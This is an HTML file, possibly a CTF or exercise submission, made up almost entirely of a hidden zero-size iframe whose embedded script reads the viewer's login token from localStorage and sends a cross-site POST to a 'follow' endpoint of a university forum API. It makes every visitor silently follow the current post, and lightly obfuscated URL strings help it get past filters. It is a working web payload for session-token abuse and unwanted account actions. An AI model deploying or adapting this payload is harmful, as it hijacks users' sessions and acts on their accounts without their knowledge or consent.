tripleuni.html

<iframe
  id="iseeyou"
  srcdoc="
    <script type='text/javascript'>
        let pdoc = parent.document;

        // YOUR CODE HERE
        const Headers = {
          'Content-Type': 'application/json',
          'method': 'POST',
          'scheme': 'https',
          'Origin': 'htt'+'ps://tripleuni.com',
          'Referer': 'htt'+'ps://tripleuni.com',
          'Sec-Fetch-Dest': 'empty',
          'Sec-Fetch-Mode': 'cors',
          'Sec-Fetch-Site': 'cross-site'
    
        };

        function getPostId() {
          // get the url of the post
          let url = pdoc.location.href;
          // get the id of the post
          let id = url.split('/').pop();
          return id;
        }

        function createCORS(method, url){
          var xhr = new XMLHttpRequest();
          if('withCredentials' in xhr){
              xhr.open(method, url, true);
          }else if(typeof XDomainRequest != 'undefined'){
              var xhr = new XDomainRequest();
              xhr.open(method, url);
          }else{
              xhr = null;
          }
          return xhr;
        }

        function follow(id) {
          // get parent window token in local storage
          let token = localStorage.getItem('token');
          // post /api/follow with data use fetch
          let data = {
            'uni_post_id': id,
            'token': token,
            'language': 'zh-CN'
            };
          
          let string = '';
          for (let key in data) {
            string += key + '=' + data[key] + '&';
          }
          string = string.slice(0, -1);
        
          let response = createCORS('POST', 'htt'+'ps://api.uni.hkupootal.com/v4/post/single/follow.php');
          if (!response) {
            throw new Error('CORS not supported');
          }
        
          response.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
          response.send(string);
          let result = response.responseText;
          return result;
        }

        function autoFollow() {
          // get post id
          let id = getPostId();
          // follow
          let result = follow(id);
          
        }

        autoFollow();
    
    </script>
    "
  width="0"
  height="0"
  frameborder="0"
  style="display: none"
>
</iframe>